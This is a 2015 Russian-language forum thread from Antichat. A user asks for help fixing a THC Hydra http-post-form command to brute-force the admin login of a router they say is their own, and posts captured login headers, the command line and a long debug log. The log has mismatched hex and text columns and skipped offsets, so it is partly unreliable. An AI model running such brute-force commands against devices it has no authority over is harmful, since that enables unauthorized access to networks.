ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Песочница (https://forum.antichat.io/forumdisplay.php?f=189)
-   -   [ВОПРОС] Брут админки роутера Гидрой (Hydra) (https://forum.antichat.io/showthread.php?t=432146)

kpa6 28.10.2015 05:01
Здравствуйте.

Люди добрые, спасайте.

Уже какой час сижу и пытаюсь забрутить админку своего собственного роутера с помощью гидры.

Вечно какие-то косяки.

Помогите, пожалуйста, составить правильный запрос. Буду премного благодарен.

Вот заголовки, передаваемые браузером при входе в админку:

(Пароль 12344321 - неверный, если это важно)

Код:
http://192.168.1.1/index.cgi

POST /index.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.1/
Cookie: cookie_lang=eng; client_login=admin; client_password=12344321
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
v2=y&rs_type=html&A1=admin&A2=12344321&auth=auth
HTTP/1.0 200 OK
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Content-Type: text/html
Expires: Tue, 02 Jan 2000 01:00:00 GMT
Last-Modified: Thu, 01 Jan 1970 11:48:37 GMT
Set-Cookie: cookie_lang=eng
Составляю следующий запрос:

Код:
hydra -l admin -p crabping1 192.168.1.1 http-post-form "/index.cgi:v2=y&rs_type=html&A1=^USER^&A2=^PASS^&auth=auth:badAuthKey:H=Cookie:cookie_lang=eng; client_login=^USER^; client_password=^PASS^:C=cookie_lang=eng:H=Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5;en;q=0.3:H=Accept-Encoding: gzip, deflate:H=Referer: 192.168.1.1:H=DNT:1" -fd -o /root/Desktop/123.txt -t 1
Вот дебаг:

(http://pastebin.com/HdustMAR#)

Код:
  1. root@kali:~# clear

  2. [3;J


  4. root@kali:~# hydra -l admin -p crabping1 192.168.1.1 http-post-form"/index.cgi:v2=y&rs_type=html&A1=^USER^&A2=^PASS^&auth=auth:badAuthKey:H=Cookie: cookie_lang=eng; client_login=^USER^; client_password=^PASS^:C=cookie_lang=eng:H=Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5;en;q=0.3:H=Accept-Encoding: gzip, deflate:H=Referer: 192.168.1.1:H=DNT:1" -fd -o /root/Desktop/123.txt -t 1

  5. Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.


  7. [DEBUG] Output color flag is 1

  8. Hydra (http://www.thc.org/thc-hydra) starting at 2015-10-28 04:53:11

  9. [DEBUG] cmdline: hydra -l admin -p crabping1 -fd -o /root/Desktop/123.txt -t 1 192.168.1.1 http-post-form/index.cgi:v2=y&rs_type=html&A1=^USER^&A2=^PASS^&auth=auth:badAuthKey:H=Cookie: cookie_lang=eng; client_login=^USER^;client_password=^PASS^:C=cookie_lang=eng:H=Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5;en;q=0.3:H=Accept-Encoding: gzip, deflate:H=Referer: 192.168.1.1:H=DNT:1

  10. [DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~0 tries per task

  11. [DATA] attacking service http-post-form on port 80

  12. [VERBOSE] Resolving addresses ...

  13. [DEBUG] resolving 192.168.1.1

  14. done

  15. [DEBUG] Code: attack  Time: 1446007991

  16. [DEBUG] Options: mode 0 ssl 0 restore 0 showAttempt 0 tasks 1 max_use 64 tnp 0 tpsal 0 tprl 0 exit_found 1 miscptr/index.cgi:v2=y&rs_type=html&A1=^USER^&A2=^PASS^&auth=auth:badAuthKey:H=Cookie: cookie_lang=eng; client_login=^USER^;client_password=^PASS^:C=cookie_lang=eng:H=Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5;en;q=0.3:H=Accept-Encoding: gzip, deflate:H=Referer: 192.168.1.1:H=DNT:1 service http-post-form

  17. [DEBUG] Brains: active 0 targets 1 finished 0 todo_all 1 todo 1 sent 0 found 0 countlogin 1 sizelogin 6 countpass 1 sizepass 11

  18. [DEBUG] Target 0 - target 192.168.1.1  ip 192.168.1.1  login_no 0 pass_no 0 sent 0 pass_state 0 use_count 0 failed 0 done 0 fail_count0 login_ptr admin  pass_ptr crabping1

  19. [DEBUG] Task 0 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  20. [DEBUG] Task 1 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  21. [DEBUG] Task 2 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  22. [DEBUG] Task 3 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  23. [DEBUG] Task 4 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  24. [DEBUG] Task 5 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  25. [DEBUG] Task 6 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  26. [DEBUG] Task 7 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  27. [DEBUG] Task 8 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  28. [DEBUG] Task 9 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  29. [DEBUG] Task 10 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  30. [DEBUG] Task 11 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  31. [DEBUG] Task 12 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  32. [DEBUG] Task 13 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  33. [DEBUG] Task 14 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  34. [DEBUG] Task 15 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  35. [DEBUG] Task 16 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  36. [DEBUG] Task 17 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  37. [DEBUG] Task 18 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  38. [DEBUG] Task 19 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  39. [DEBUG] Task 20 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  40. [DEBUG] Task 21 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  41. [DEBUG] Task 22 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  42. [DEBUG] Task 23 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  43. [DEBUG] Task 24 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  44. [DEBUG] Task 25 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  45. [DEBUG] Task 26 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  46. [DEBUG] Task 27 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  47. [DEBUG] Task 28 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  48. [DEBUG] Task 29 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  49. [DEBUG] Task 30 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  50. [DEBUG] Task 31 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  51. [DEBUG] Task 32 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  52. [DEBUG] Task 33 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  53. [DEBUG] Task 34 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  54. [DEBUG] Task 35 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  55. [DEBUG] Task 36 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  56. [DEBUG] Task 37 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  57. [DEBUG] Task 38 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  58. [DEBUG] Task 39 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  59. [DEBUG] Task 40 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  60. [DEBUG] Task 41 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  61. [DEBUG] Task 42 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  62. [DEBUG] Task 43 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  63. [DEBUG] Task 44 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  64. [DEBUG] Task 45 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  65. [DEBUG] Task 46 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  66. [DEBUG] Task 47 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  67. [DEBUG] Task 48 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  68. [DEBUG] Task 49 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  69. [DEBUG] Task 50 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  70. [DEBUG] Task 51 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  71. [DEBUG] Task 52 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  72. [DEBUG] Task 53 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  73. [DEBUG] Task 54 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  74. [DEBUG] Task 55 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  75. [DEBUG] Task 56 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  76. [DEBUG] Task 57 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  77. [DEBUG] Task 58 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  78. [DEBUG] Task 59 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  79. [DEBUG] Task 60 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  80. [DEBUG] Task 61 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  81. [DEBUG] Task 62 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  82. [DEBUG] Task 63 - pid 0 active 0 redo 0 current_login_ptr (null) current_pass_ptr (null)

  83. [DEBUG] head_no[0] to target_no 0 active 0

  84. [DEBUG] child 0 got target 0 selected

  85. [DEBUG] child 0 spawned for target 0 with pid 3260

  86. [DEBUG] head_no[1] to target_no 0 active 0

  87. [DEBUG] child 1 got target -1 selected

  88. [DEBUG] hydra_select_target() reports no more targets left

  89. [DEBUG] head_no 1, kill 0, fail 3

  90. [DEBUG] head_no 0 has pid 3260

  91. [DEBUG] head_no[2] to target_no 0 active 0

  92. [DEBUG] child 2 got target -1 selected

  93. [DEBUG] hydra_select_target() reports no more targets left

  94. [DEBUG] head_no 2, kill 0, fail 3

  95. [DEBUG] head_no[3] to target_no 0 active 0

  96. [DEBUG] child 3 got target -1 selected

  97. [DEBUG] hydra_select_target() reports no more targets left

  98. [DEBUG] head_no 3, kill 0, fail 3

  99. [DEBUG] head_no[4] to target_no 0 active 0

  100. [DEBUG] child 4 got target -1 selected

  101. [DEBUG] hydra_select_target() reports no more targets left

  102. [DEBUG] head_no 4, kill 0, fail 3

  103. [DEBUG] head_no[5] to target_no 0 active 0

  104. [DEBUG] child 5 got target -1 selected

  105. [DEBUG] hydra_select_target() reports no more targets left

  106. [DEBUG] head_no 5, kill 0, fail 3

  107. [DEBUG] head_no[6] to target_no 0 active 0

  108. [DEBUG] child 6 got target -1 selected

  109. [DEBUG] hydra_select_target() reports no more targets left

  110. [DEBUG] head_no 6, kill 0, fail 3

  111. [DEBUG] head_no[7] to target_no 0 active 0

  112. [DEBUG] child 7 got target -1 selected

  113. [DEBUG] hydra_select_target() reports no more targets left

  114. [DEBUG] head_no 7, kill 0, fail 3

  115. [DEBUG] head_no[8] to target_no 0 active 0

  116. [DEBUG] child 8 got target -1 selected

  117. [DEBUG] hydra_select_target() reports no more targets left

  118. [DEBUG] head_no 8, kill 0, fail 3

  119. [DEBUG] head_no[9] to target_no 0 active 0

  120. [DEBUG] child 9 got target -1 selected

  121. [DEBUG] hydra_select_target() reports no more targets left

  122. [DEBUG] head_no 9, kill 0, fail 3

  123. [DEBUG] head_no[10] to target_no 0 active 0

  124. [DEBUG] child 10 got target -1 selected

  125. [DEBUG] hydra_select_target() reports no more targets left

  126. [DEBUG] head_no 10, kill 0, fail 3

  127. [DEBUG] head_no[11] to target_no 0 active 0

  128. [DEBUG] child 11 got target -1 selected

  129. [DEBUG] hydra_select_target() reports no more targets left

  130. [DEBUG] head_no 11, kill 0, fail 3

  131. [DEBUG] head_no[12] to target_no 0 active 0

  132. [DEBUG] child 12 got target -1 selected

  133. [DEBUG] hydra_select_target() reports no more targets left

  134. [DEBUG] head_no 12, kill 0, fail 3

  135. [DEBUG] head_no[13] to target_no 0 active 0

  136. [DEBUG] child 13 got target -1 selected

  137. [DEBUG] hydra_select_target() reports no more targets left

  138. [DEBUG] head_no 13, kill 0, fail 3

  139. [DEBUG] head_no[14] to target_no 0 active 0

  140. [DEBUG] child 14 got target -1 selected

  141. [DEBUG] hydra_select_target() reports no more targets left

  142. [DEBUG] head_no 14, kill 0, fail 3

  143. [DEBUG] head_no[15] to target_no 0 active 0

  144. [DEBUG] child 15 got target -1 selected

  145. [DEBUG] hydra_select_target() reports no more targets leftDEBUG_CONNECT_OK

  146. [DEBUG] head_no 15, kill 0, fail 3


  148. [DEBUG] head_no[16] to target_no 0 active 0

  149. [DEBUG] child 16 got target -1 selected

  150. [DEBUG] hydra_select_target() reports no more targets left

  151. [DEBUG] head_no 16, kill 0, fail 3

  152. [DEBUG] head_no[17] to target_no 0 active 0

  153. [DEBUG] child 17 got target -1 selected

  154. [DEBUG] hydra_select_target() reports no more targets left

  155. [DEBUG] head_no 17, kill 0, fail 3

  156. [DEBUG] head_no[18] to target_no 0 active 0

  157. [DEBUG] child 18 got target -1 selected

  158. [DEBUG] hydra_select_target() reports no more targets left

  159. [DEBUG] head_no 18, kill 0, fail 3

  160. [DEBUG] head_no[19] to target_no 0 active 0

  161. [DEBUG] child 19 got target -1 selected

  162. [DEBUG] hydra_select_target() reports no more targets left

  163. [DEBUG] head_no 19, kill 0, fail 3

  164. [DEBUG] head_no[20] to target_no 0 active 0

  165. [DEBUG] child 20 got target -1 selected

  166. [DEBUG] hydra_select_target() reports no more targets left

  167. [DEBUG] head_no 20, kill 0, fail 3

  168. [DEBUG] head_no[21] to target_no 0 active 0

  169. [DEBUG] child 21 got target -1 selected

  170. [DEBUG] hydra_select_target() reports no more targets left

  171. [DEBUG] head_no 21, kill 0, fail 3

  172. [DEBUG] head_no[22] to target_no 0 active 0

  173. [DEBUG] child 22 got target -1 selected

  174. [DEBUG] hydra_select_target() reports no more targets left

  175. [DEBUG] head_no 22, kill 0, fail 3

  176. [DEBUG] head_no[23] to target_no 0 active 0

  177. [DEBUG] child 23 got target -1 selected

  178. [DEBUG] hydra_select_target() reports no more targets left

  179. [DEBUG] head_no 23, kill 0, fail 3

  180. [DEBUG] head_no[24] to target_no 0 active 0

  181. [DEBUG] child 24 got target -1 selected

  182. [DEBUG] hydra_select_target() reports no more targets left

  183. [DEBUG] head_no 24, kill 0, fail 3

  184. [DEBUG] head_no[25] to target_no 0 active 0

  185. [DEBUG] child 25 got target -1 selected

  186. [DEBUG] hydra_select_target() reports no more targets left

  187. [DEBUG] head_no 25, kill 0, fail 3

  188. [DEBUG] head_no[26] to target_no 0 active 0

  189. [DEBUG] child 26 got target -1 selected

  190. [DEBUG] hydra_select_target() reports no more targets left

  191. [DEBUG] head_no 26, kill 0, fail 3

  192. [DEBUG] head_no[27] to target_no 0 active 0

  193. [DEBUG] child 27 got target -1 selected

  194. [DEBUG] hydra_select_target() reports no more targets left

  195. [DEBUG] head_no 27, kill 0, fail 3

  196. [DEBUG] head_no[28] to target_no 0 active 0

  197. [DEBUG] child 28 got target -1 selected

  198. [DEBUG] hydra_select_target() reports no more targets left

  199. [DEBUG] head_no 28, kill 0, fail 3

  200. [DEBUG] head_no[29] to target_no 0 active 0

  201. [DEBUG] child 29 got target -1 selected

  202. [DEBUG] hydra_select_target() reports no more targets left

  203. [DEBUG] head_no 29, kill 0, fail 3

  204. [DEBUG] head_no[30] to target_no 0 active 0

  205. [DEBUG] child 30 got target -1 selected

  206. [DEBUG] hydra_select_target() reports no more targets left

  207. [DEBUG] head_no 30, kill 0, fail 3

  208. [DEBUG] head_no[31] to target_no 0 active 0

  209. [DEBUG] child 31 got target -1 selected

  210. [DEBUG] hydra_select_target() reports no more targets left

  211. [DEBUG] head_no 31, kill 0, fail 3

  212. [DEBUG] head_no[32] to target_no 0 active 0

  213. [DEBUG] child 32 got target -1 selected

  214. [DEBUG] hydra_select_target() reports no more targets left

  215. [DEBUG] head_no 32, kill 0, fail 3

  216. [DEBUG] head_no[33] to target_no 0 active 0

  217. [DEBUG] child 33 got target -1 selected

  218. [DEBUG] hydra_select_target() reports no more targets left

  219. [DEBUG] head_no 33, kill 0, fail 3

  220. [DEBUG] head_no[34] to target_no 0 active 0

  221. [DEBUG] child 34 got target -1 selected

  222. [DEBUG] hydra_select_target() reports no more targets left

  223. [DEBUG] head_no 34, kill 0, fail 3

  224. [DEBUG] head_no[35] to target_no 0 active 0

  225. [DEBUG] child 35 got target -1 selected

  226. [DEBUG] hydra_select_target() reports no more targets left

  227. [DEBUG] head_no 35, kill 0, fail 3

  228. [DEBUG] head_no[36] to target_no 0 active 0

  229. [DEBUG] child 36 got target -1 selected

  230. [DEBUG] hydra_select_target() reports no more targets left

  231. [DEBUG] head_no 36, kill 0, fail 3

  232. [DEBUG] head_no[37] to target_no 0 active 0

  233. [DEBUG] child 37 got target -1 selected

  234. [DEBUG] hydra_select_target() reports no more targets left

  235. [DEBUG] head_no 37, kill 0, fail 3

  236. [DEBUG] head_no[38] to target_no 0 active 0

  237. [DEBUG] child 38 got target -1 selected

  238. [DEBUG] hydra_select_target() reports no more targets left

  239. [DEBUG] head_no 38, kill 0, fail 3

  240. [DEBUG] head_no[39] to target_no 0 active 0

  241. [DEBUG] child 39 got target -1 selected

  242. [DEBUG] hydra_select_target() reports no more targets left

  243. [DEBUG] head_no 39, kill 0, fail 3

  244. [DEBUG] head_no[40] to target_no 0 active 0

  245. [DEBUG] child 40 got target -1 selected

  246. [DEBUG] hydra_select_target() reports no more targets left

  247. [DEBUG] head_no 40, kill 0, fail 3

  248. [DEBUG] head_no[41] to target_no 0 active 0

  249. [DEBUG] child 41 got target -1 selected

  250. [DEBUG] hydra_select_target() reports no more targets left

  251. [DEBUG] head_no 41, kill 0, fail 3

  252. [DEBUG] head_no[42] to target_no 0 active 0

  253. [DEBUG] child 42 got target -1 selected

  254. [DEBUG] hydra_select_target() reports no more targets left

  255. [DEBUG] head_no 42, kill 0, fail 3

  256. [DEBUG] head_no[43] to target_no 0 active 0

  257. [DEBUG] child 43 got target -1 selected

  258. [DEBUG] hydra_select_target() reports no more targets left

  259. [DEBUG] head_no 43, kill 0, fail 3

  260. [DEBUG] head_no[44] to target_no 0 active 0

  261. [DEBUG] child 44 got target -1 selected

  262. [DEBUG] hydra_select_target() reports no more targets left

  263. [DEBUG] head_no 44, kill 0, fail 3

  264. [DEBUG] head_no[45] to target_no 0 active 0

  265. [DEBUG] child 45 got target -1 selected

  266. [DEBUG] hydra_select_target() reports no more targets left

  267. [DEBUG] head_no 45, kill 0, fail 3

  268. [DEBUG] head_no[46] to target_no 0 active 0

  269. [DEBUG] child 46 got target -1 selected

  270. [DEBUG] hydra_select_target() reports no more targets left

  271. [DEBUG] head_no 46, kill 0, fail 3

  272. [DEBUG] head_no[47] to target_no 0 active 0

  273. [DEBUG] child 47 got target -1 selected

  274. [DEBUG] hydra_select_target() reports no more targets left

  275. [DEBUG] head_no 47, kill 0, fail 3

  276. [DEBUG] head_no[48] to target_no 0 active 0

  277. [DEBUG] child 48 got target -1 selected

  278. [DEBUG] hydra_select_target() reports no more targets left

  279. [DEBUG] head_no 48, kill 0, fail 3

  280. [DEBUG] head_no[49] to target_no 0 active 0

  281. [DEBUG] child 49 got target -1 selected

  282. [DEBUG] hydra_select_target() reports no more targets left

  283. [DEBUG] head_no 49, kill 0, fail 3

  284. [DEBUG] head_no[50] to target_no 0 active 0

  285. [DEBUG] child 50 got target -1 selected

  286. [DEBUG] hydra_select_target() reports no more targets left

  287. [DEBUG] head_no 50, kill 0, fail 3

  288. [DEBUG] head_no[51] to target_no 0 active 0

  289. [DEBUG] child 51 got target -1 selected

  290. [DEBUG] hydra_select_target() reports no more targets left

  291. [DEBUG] head_no 51, kill 0, fail 3

  292. [DEBUG] head_no[52] to target_no 0 active 0

  293. [DEBUG] child 52 got target -1 selected

  294. [DEBUG] hydra_select_target() reports no more targets left

  295. [DEBUG] head_no 52, kill 0, fail 3

  296. [DEBUG] head_no[53] to target_no 0 active 0

  297. [DEBUG] child 53 got target -1 selected

  298. [DEBUG] hydra_select_target() reports no more targets left

  299. [DEBUG] head_no 53, kill 0, fail 3

  300. [DEBUG] head_no[54] to target_no 0 active 0

  301. [DEBUG] child 54 got target -1 selected

  302. [DEBUG] hydra_select_target() reports no more targets left

  303. [DEBUG] head_no 54, kill 0, fail 3

  304. [DEBUG] head_no[55] to target_no 0 active 0

  305. [DEBUG] child 55 got target -1 selected

  306. [DEBUG] hydra_select_target() reports no more targets left

  307. [DEBUG] head_no 55, kill 0, fail 3

  308. [DEBUG] head_no[56] to target_no 0 active 0

  309. [DEBUG] child 56 got target -1 selected

  310. [DEBUG] hydra_select_target() reports no more targets left

  311. [DEBUG] head_no 56, kill 0, fail 3

  312. [DEBUG] head_no[57] to target_no 0 active 0

  313. [DEBUG] child 57 got target -1 selected

  314. [DEBUG] hydra_select_target() reports no more targets left

  315. [DEBUG] head_no 57, kill 0, fail 3

  316. [DEBUG] head_no[58] to target_no 0 active 0

  317. [DEBUG] child 58 got target -1 selected

  318. [DEBUG] hydra_select_target() reports no more targets left

  319. [DEBUG] head_no 58, kill 0, fail 3

  320. [DEBUG] head_no[59] to target_no 0 active 0

  321. [DEBUG] child 59 got target -1 selected

  322. [DEBUG] hydra_select_target() reports no more targets left

  323. [DEBUG] head_no 59, kill 0, fail 3

  324. [DEBUG] head_no[60] to target_no 0 active 0

  325. [DEBUG] child 60 got target -1 selected

  326. [DEBUG] hydra_select_target() reports no more targets left

  327. [DEBUG] head_no 60, kill 0, fail 3

  328. [DEBUG] head_no[61] to target_no 0 active 0

  329. [DEBUG] child 61 got target -1 selected

  330. [DEBUG] hydra_select_target() reports no more targets left

  331. [DEBUG] head_no 61, kill 0, fail 3

  332. [DEBUG] head_no[62] to target_no 0 active 0

  333. [DEBUG] child 62 got target -1 selected

  334. [DEBUG] hydra_select_target() reports no more targets left

  335. [DEBUG] head_no 62, kill 0, fail 3

  336. [DEBUG] head_no[63] to target_no 0 active 0

  337. [DEBUG] child 63 got target -1 selected

  338. [DEBUG] hydra_select_target() reports no more targets left

  339. [DEBUG] head_no 63, kill 0, fail 3

  340. [DEBUG] head_no[0] to target_no 0 active 1

  341. [DEBUG] head_no[0] read n

  342. [DEBUG] send_next_pair_init target 0, head 0, redo 0, redo_state 0, pass_state 0. loop_mode 0, curlogin (null), curpass (null), tlogin admin, tpass crabping1, logincnt 0/1, passcnt 0/1, loop_cnt 1

  343. [DEBUG] send_next_pair_mid done 1, pass_state 0, clogin admin, cpass crabping1, tlogin -p, tpass crabping1, redo 0

  344. [ATTEMPT] target 192.168.1.1 - login "admin" - pass "crabping1" - 1 of 1 [child 0]

  345. [DEBUG] SEND [pid:3260] (269 bytes):

  346. 0000:  4745 5420 636f 6f6b 6965 5f6c 616e 673d    [ GET cookie_lang= ]

  347. 0010:  656e 6720 4854 5450 2f31 2e30 0d0a 436f    [ eng HTTP/1.0..Co ]

  348. 0020:  6f6b 6965 3a20 636f 6f6b 6965 5f6c 616e    [ okie: cookie_lan ]

  349. 0030:  673d 656e 673b 2063 6c69 656e 745f 6c6f    [ g=eng; client_lo ]

  350. 0040:  6769 6e3d 5e55 5345 525e 3b20 636c 6965  [ gin=^USER^; clie ]

  351. 0050:  6e74 5f70 6173 7377 6f72 643d 5e50 4153  [ nt_password=^PAS ]

  352. 0060:  535e 0d0a 4163 6365 7074 2d4c 616e 6775  [ S^..Accept-Langu ]

  353. 0070:  6167 653a 2072 752d 5255 2c72 753b 713d    [ age: ru-RU,ru;q= ]

  354. 0080:  302e 382c 656e 2d55 533b 713d 302e 353b    [ 0.8,en-US;q=0.5; ]

  355. 0090:  656e 3b71 3d30 2e33 0d0a 4163 6365 7074  [ en;q=0.3..Accept ]

  356. 00a0:  2d45 6e63 6f64 696e 673a 2067 7a69 702c    [ -Encoding: gzip, ]

  357. 00b0:  2064 6566 6c61 7465 0d0a 5265 6665 7265  [ deflate..Refere ]

  358. 00c0:  723a 2031 3932 2e31 3638 2e31 2e31 0d0a    [ r: 192.168.1.1.. ]

  359. 00d0:  444e 543a 200d 0a48 6f73 743a 2031 3932  [ DNT: ..Host: 192 ]

  360. 00e0:  2e31 3638 2e31 2e31 0d0a 5573 6572 2d41    [ .168.1.1..User-A ]

  361. 00f0:  6765 6e74 3a20 4d6f 7a69 6c6c 612f 352e    [ gent: Mozilla/5. ]

  362. 0100:  3020 2848 7964 7261 290d 0a0d 0a          [ 0 (Hydra)....    ]

  363. [DEBUG] hydra_receive_line: waittime: 32, conwait: 0, socket: 7, pid: 3260

  364. [DEBUG] RECV [pid:3260] (211 bytes):

  365. 0000:  4854 5450 2f31 2e30 2034 3030 2042 6164  [ HTTP/1.0 400 Bad ]

  366. 0010:  2052 6571 7565 7374 0a43 6f6e 7465 6e74    [ Request.Content ]

  367. 0020:  2d74 7970 653a 2074 6578 742f 6874 6d6c    [ -type: text/html ]

  368. 0030:  0d0a 4461 7465 3a20 5468 752c 2030 3120  [ ..Date: Thu, 01  ]

  369. 0040:  4a61 6e20 3139 3730 2031 333a 3132 3a32    [ Jan 1970 13:12:2 ]

  370. 0050:  3020 474d 540d 0a43 6f6e 6e65 6374 696f    [ 0 GMT..Connectio ]

  371. 0060:  6e3a 2063 6c6f 7365 0d0a 0d0a 3c48 4541  [ n: close....400 Bad ]

  372. 0080:  2052 6571 7565 7374 3c2f 5449 544c 453e    [ Request ]

  373. 0090:  3c2f 4845 4144 3e0a 3c42 4f44 593e 3c48    [ .400 Bad Reques ]

  374. 00b0:  743c 2f48 313e 0a55 6e73 7570 706f 7274  [ t.Unsupport ]

  375. 00c0:  6564 206d 6574 686f 642e 0a3c 2f42 4f44    [ ed method...              ]

  376. [DEBUG] hydra_receive_line: waittime: 32, conwait: 0, socket: 7, pid: 3260

  377. [DEBUG] RECV [pid:3260] (0 bytes):

  378. DEBUG_DISCONNECT

  379. DEBUG_CONNECT_OK

  380. [DEBUG] SEND [pid:3260] (329 bytes):

  381. 0000:  504f 5354 202f 696e 6465 782e 6367 6920  [ POST /index.cgi  ]

  382. 0010:  4854 5450 2f31 2e30 0d0a 436f 6f6b 6965  [ HTTP/1.0..Cookie ]

  383. 0020:  3a20 6164 6d69 6e0d 0a41 6363 6570 742d    [ : admin..Accept- ]

  384. 0030:  4c61 6e67 7561 6765 3a20 7275 2d52 552c    [ Language: ru-RU, ]

  385. 0040:  7275 3b71 3d30 2e38 2c65 6e2d 5553 3b71    [ ru;q=0.8,en-US;q ]

  386. 0050:  3d30 2e35 3b65 6e3b 713d 302e 330d 0a41    [ =0.5;en;q=0.3..A ]

  387. 0060:  6363 6570 742d 456e 636f 6469 6e67 3a20    [ ccept-Encoding:  ]

  388. 0070:  677a 6970 2c20 6465 666c 6174 650d 0a52    [ gzip, deflate..R ]

  389. 0080:  6566 6572 6572 3a20 3139 322e 3136 382e    [ eferer: 192.168. ]

  390. 0090:  312e 310d 0a44 4e54 3a20 0d0a 486f 7374  [ 1.1..DNT: ..Host ]

  391. 00a0:  3a20 3139 322e 3136 382e 312e 310d 0a55    [ : 192.168.1.1..U ]

  392. 00b0:  7365 722d 4167 656e 743a 204d 6f7a 696c    [ ser-Agent: Mozil ]

  393. 00c0:  6c61 2f35 2e30 2028 4879 6472 6129 0d0a    [ la/5.0 (Hydra).. ]

  394. 00d0:  436f 6e74 656e 742d 4c65 6e67 7468 3a20    [ Content-Length:  ]

  395. 00e0:  3530 0d0a 436f 6e74 656e 742d 5479 7065  [ 50..Content-Type ]

  396. 00f0:  3a20 6170 706c 6963 6174 696f 6e2f 782d    [ : application/x- ]

  397. 0100:  7777 772d 666f 726d 2d75 726c 656e 636f    [ www-form-urlenco ]

  398. 0110:  6465 640d 0a0d 0a76 323d 7926 7273 5f74    [ ded....v2=y&rs_t ]

  399. 0120:  7970 653d 6874 6d6c 2641 313d 6164 6d69    [ ype=html&A1=admi ]

  400. 0130:  6e26 4132 3d31 3233 3434 3332 3145 6726  [ n&A2=crabping1& ]

